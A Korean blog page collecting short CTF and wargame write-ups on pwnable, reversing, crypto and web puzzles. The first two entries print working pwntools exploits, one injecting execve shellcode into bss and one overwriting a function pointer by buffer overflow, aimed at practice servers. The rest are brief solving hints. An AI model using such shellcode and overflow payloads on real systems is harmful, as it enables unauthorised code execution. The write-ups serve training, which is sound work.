반응형
반응형
반응형

32bit elf파일이 주어진다.

 

이번에는 shell함수를 주지는 않는다.

 

main함수를 보자.

 

간단하다

name에 50바이트만큼 입력을 받고, s에 gets()로 길이 제한없이 입력을 받는다.

s는 bp-14h에 존재한다.

 

 

 

&name을 더블클릭하면 나온다.

name이 어디에 있는가 보니, bss영역에 존재했다.

 

name에 쉘코드를 올려두고, ret주소를 0x0804A060로 덮어주면 된다.

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3003)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
bss = 0x0804A060
p.recvuntil(": ")
p.sendline(shellcode)
 
p.recvuntil(": ")
 
payload = "A" * 24
payload += p32(bss)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32 bit elf 파일이 주어진다.

 

IDA로 까보자.

헥스레이로 봤을 때 나만 그런건지 더럽게 나오길레 그냥 어셈코드를 봤다.

 

 

 

1. ebp+var_C 에 sup()함수의 주소를 저장한다.

2. ebp+s에 0x85만큼 입력을 받는다.

3. call [ebp+var_C]

 

여기서 ebp+var_C = ebp - 0x0c이고

ebp+s = ebp - 0x8c 이다. 둘 사이간의 거리는 0x80이다.

 

정리하면,

 

낮은주소  ebp-0x8c   <---- 0x80 ----> ebp-0x8c 높은주소

             -------------------------------0x85------>

 

바이너리에서 shell함수를 제공해준다. call을 하는 ebp-0x8c의 값을 shell함수의 주소로 덮어주면 된다,

 

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3001)
 
shellf = 0x0804849b
sleep(1)
 
payload = "A" * 128
payload += p32(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

Welcome_REV

50

 

32비트 elf파일인데 ida로 까보면 입력값 확인하는 함수를 확인할 수 있고, 함수 내부에 strncmp로 비교하게 되는 base64 문자열을 확인할 수 있다. 그대로 가져와서 디코딩하면 플래그가 바로 나온다.

 

 

 

 

Reversing Me

100

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int main() {
    int i;
    char *serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}";
    char enter[54];
    printf("키를 입력하시게 : ");
    scanf("%s", enter);
    if (strlen(enter) == strlen(serial)) {
        for (i = 0; i < strlen(serial) && (enter[i] ^ (i % 2)) == serial[i]; i++);
        if (i - 1 == strlen(enter))
            printf("정답일세!\n");
    }
    else
        printf("그건 아닐세...\n");
        exit(0);
}
cs

 

enter[i] ^ (i%2) == serial[i] 이어야한다.

 

xor연산은 한 번 더 해주면 원래대로 돌아간다.

 

enter[i] == serial[i] ^ (i%2)

 

파이썬으로 코드를 짜서 플래그를 얻었다.

 

1
2
3
4
5
6
serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}"
flag = ""
for i in range(len(serial)):
  flag1 =ord(serial[i]) ^ (i % 2)
  flag += chr(flag1)
print(flag)
cs

 

 

Handray

100

음..

수상해보이는 부분 공략

string[i] 이랑 array[i]를 더하나봄

 

 

Strncmp

150

 

 

Keygen

200

 

 

Static

250

 

 

BabyMIPS

400

 

xor

반응형
반응형

King bases on 8,8

100

[문제 설명] 왕은 무엇에 기반을 두고 있을까
[출제자] 정준영(Joon)
[출제이력] 없음
[암호문]

Vm0weE5GbFdiRmRXV0doVFYwZG9XVll3WkZOVU1WVjNXa2M1VjFadGVGbFVWbHBQVjBaS2MxZHVhRlpOYWtWM1ZrUktTMU5HVm5KWGJGcFhaV3haZWxkWGRHRlRiVkY1Vkd0c2FWSnRhRzlVVjNoTFlqRmFjMWt6YUZkTmF6VjZWa2MxUjFWdFNrZFhiR3hXVFVaYVRGWXhXbHBsVlRGVlZXeE9UbUY2VmxsV2JUQXhWakpHYzFOc1ZsZGhlbXhZV1ZSS1UyTnNVbk5YYlVaVVVqRktTVlJzWkRCVWJGcFdZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9

 

base64 디코딩 여러번 때려주면 된다.

 

 

 

Not encrypted

100

[문제 설명] 어떻게 암호화되었을까?
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문] QTBWM1J7MXRfMXNfbjBUXzNuQ1J5UFQzZH0=

 

... base64 디코딩 해주면 끝. 

 

 

전화기를 열어라

100

[문제 설명] 아오바는 은밀하게 히후미의 스마트폰을 열어보고자 한다. 아오바를 도와주자! (형식 : A0V3R{numbers})
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문] Li0tLS0gLS0tLS0gLi4tLS0gLS4uLi4=

 

또 base64 디코드. 모스부호가 나오는데, 해독해주면 숫자 4자리가 나온다. 플래그 형식에 맞게 제출하면 된다.

 

 

 

First Crypto

200

[문제 설명] 아오바가 쪽지를 건네주었다. 뭐라고 적었을지 알아보자.
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문] fUEzRTBKX08wX1hDeWhBbF9DQkFyT18zcUN7QTNFMEo=

 

일단 base64 벗겨내주면

}A3E0J_O0_XCyhAl_CBArO_3qC{A3E0J

 

글자가 역순으로 되어있다. 아래 사이트를 이용해 reverse 해주고 카이사르도 돌려주면 플래그가 나온다.

https://cryptii.com

 

Modular conversion, encoding and encryption online

Web app offering modular conversion, encoding and encryption online. Translations are done in the browser without any server interaction. This is an Open Source project, code licensed MIT.

cryptii.com

 

 

 

아오바의 키는 몇cm일까?

200

[문제 설명] 아오바는 회사에서 시행한 건강검진 결과를 알고싶어한다. 그런데, 키를 읽는 데에 어려움을 겪고 있다고 한다. 곤경에 빠진 아오바를 도와줘서 환심을 사 보자!
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문]

 =0SLt0iLg0iLu4iLg8CIt0SLt0CIt0iLu4CIvAiLu4iLtAiLu4iLuAyLg0SLu4iLg0SLu4iLg8CIt0SLu4CIu4iLu4CIvAiLu4SLg4iLu0SLg8CIt0SLt4CIt0iLu4CIvASLu4iLuAiLu4SLtAyLg4SLu4CIu4iLu4CIvASLt0SLuASLt4iLuAyLg0SLu4iLg4iLu4iLg8CIu0iLuAiLu4iLuAyLg0SLt0SLg0SLu4iLg8CIuASLu4iLuAyLg0SLu4iLg0SLu4iLg8CIu4SLt0CIu4iLu0CIvAiLu4iLuAiLu4iLuAyLg4CIu4iLu0CIvASLu4iLuAiLu4iLtAyLg0SLt4iLg4iLu4iLg8CIt0iLu4CIt0iLu4CIvASLu4iLuASLt4iLuAyLg0iLu4iLg4iLu4SLg8CIu4SLg0SLt4iLg8CIu4iLu0CIu4iLu0CIvASLt0SLtASLt4iLuAyLg4iLu4iLg4iLu0SLg8CIt0SLu4CIu4iLu4CIvASLu4iLuAiLu4iLuAyLg4SLt0SLg4iLu0SLg8CIu4SLg0SLt4iLg8CIuASLu4iLuAyLg0SLt0iLg0SLu4iLg8CIuASLu4iLuAyLg0SLu4iLg0SLu4iLg8CIu0iLuAiLu4iLuAyLg0SLu4iLg4iLu4SLg8CIu4SLg0iLu4iLg8CIu4SLg4iLu0SL

 

 

base64 패딩 '=' 이 앞으로 와 있으니 역순임을 알 수 있다. 위 사이트에서 reverse 해주고 base64 디코딩 해주자.

그러면 모스부호가 나온다. 해독해주면 hex값이 나온다.

ascii로 변환하고 다시 reverse해주면 플래그가 나온다.

 

 

PaddedRSA

250

[문제 설명] 겨울에 패딩 입은 RSA
[출제자] 김진서(KJSMAN)
[플래그 형식] A0V3R{FLAG}
[출제이력] 없음
[접속] nc ctf.dle.pw 1984

 

 

솔버가 2명뿐이라서 어려운 문제인 줄 알았다가 그냥 한번에 풀려버린 문제이다.

 

nc에 접속을 하면 n e c를 주고 죽는다.

 

주어진 n을 소인수분해하는것은 불가능하다. 그러나 e가 3으로 매우 작다. 그러므로 아래 문제와 동일하게 풀어낼 수 있었다.

 

https://mandu-mandu.tistory.com/258

 

System32.kr [RSA105] 풀이

RSA105 풀이 : e가 매우 작은 경우 n : 14563994539777678316321336781712344883711529518189434139233680882263409604514153869699501702104322682479573897503872406635890483506906896813982089686642192006130..

mandu-mandu.tistory.com

 

padded 때문에 어떤 과정이 더 있을 줄 알았는데, 나온 플래그를 그대로 인증하니 인증이 되어버렸다......

 

 

Animals In The Middle

350

[문제 설명] 해독해보자.
[주의사항] 전부 대문자로 입력하셔야 합니다.
[출제자] 정준영(Joon)
[출제이력] 없음

 

 

다른 문제 풀다가 우연히 찾았다. https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

불러오는 중입니다...

 

 

 

반응형
반응형

Basic RSA (100pt)

 

 

#### PUBLIC KEY ####
e : 925
n : 119401
#### PRIVATE KEY ####
d : 29569
#### ENCODED MESSAGE ####
m : 26018
====================

 

비밀키랑 암호화된 메세지를 준다.

 

rsa 복호화 방법인 modular exponentiation으로 풀면 된다. 나온 값을 문자로 변환해서 보내면 된다.

 

스테이지 수가 많은데, 개수가 정해지지 않은 것 같다. 한 30스테이지까지 돌도록 해서 여러번 돌려주면 플래그를 얻을 수 있다.

 

중간에 오류나는 경우도 있었는데, 다시 돌려서 해당 경우에 안걸리면 된다.

 

 

 

 

 

풀이자가 적어서.. 많아지면 풀이 코드를 올리겠습니다.

반응형
반응형

md5('value', true);

 

100% 풀이: (검색하니까 이게 나왔다..)

https://bbolmin.tistory.com/77

 

md5 raw hash를 이용한 sql injection

php에서 md5해쉬를 해주는 함수가 있다. 사용법 md5("문자열") -> 32자리의 16진수 값 반환 md5("문자열", true) -> 16자리의 바이너리 형식으로 반환 md5('admin') 이런식으로 하면 21232f297a57a5a743894a0e4a80..

bbolmin.tistory.com

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
Wargame.kr [flee button] 풀이  (0) 2019.08.21
반응형

This is another programming language.

Can you read this source code?

 

 

 

메모장으로 열면 아무것도 보이지 않는다.

 

HxD를 통해 열면 \x20, \x0A, \x09로만 이루어져 있는 것을 볼 수 있다.

이는 ascii 코드로, 각각 space, line feed ,tab 에 해당된다.

 

파일 이름이 source_code인 것으로 보아, 프로그래밍 언어라고 생각해볼 수 있다.

그래서 programming lang with space enter tab 으로 검색을 해보았더니 whitespace라는 것이 나왔다.

 

whitespace online IDE를 이용해 코드를 돌렸더니 key가 나왔다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
Wargame.kr [flee button] 풀이  (0) 2019.08.21
Wargame.kr [already got] 풀이  (0) 2019.08.21
반응형

I have accounts. but, it's blocked.

can you login bypass filtering?

 

 

대문자를 이용해 로그인하면 된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [flee button] 풀이  (0) 2019.08.21
Wargame.kr [already got] 풀이  (0) 2019.08.21
반응형

javascript puzzle challenge

just enjoy!

 

 

페이지 소스를 통해 qr코드 조각 하나를 보면

<div class="jqp-piece" style="width: 81px; height: 81px; background-image: url(&quot;./img/qr.png&quot;); border-width: 0px; margin: 0px; padding: 0px; position: absolute; overflow: hidden; display: block; visibility: inherit; cursor: default; left: 415px; top: 83px; background-position: -415px -249px;" current="11"><span style="display: none;">24</span></div>

./img/gr.png에서 잘라가져오는 것을 알 수 있다.

 

해당 이미지로 이동하면 완전한 qr코드 이미지를 구할 수 있다.

 

qr코드를 스캔하면 된다.

 

스캔해서 나온 url로 이동하면 플래그가 나온다.

반응형
반응형

click the button!

i can't catch it!

 

 

버튼을 클릭할 수가 없다. 페이지 소스를 보자

 

1
<input type="button" onfocus="nokp();" onclick="window.location='?key=f477';" value="click me!">
cs

 

?key=f477로 이동한다. 직접 url에 쿼리값을 줘서 이동하자

 

http://wargame.kr:8080/flee_button/?key-f477

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
Wargame.kr [already got] 풀이  (0) 2019.08.21

+ Recent posts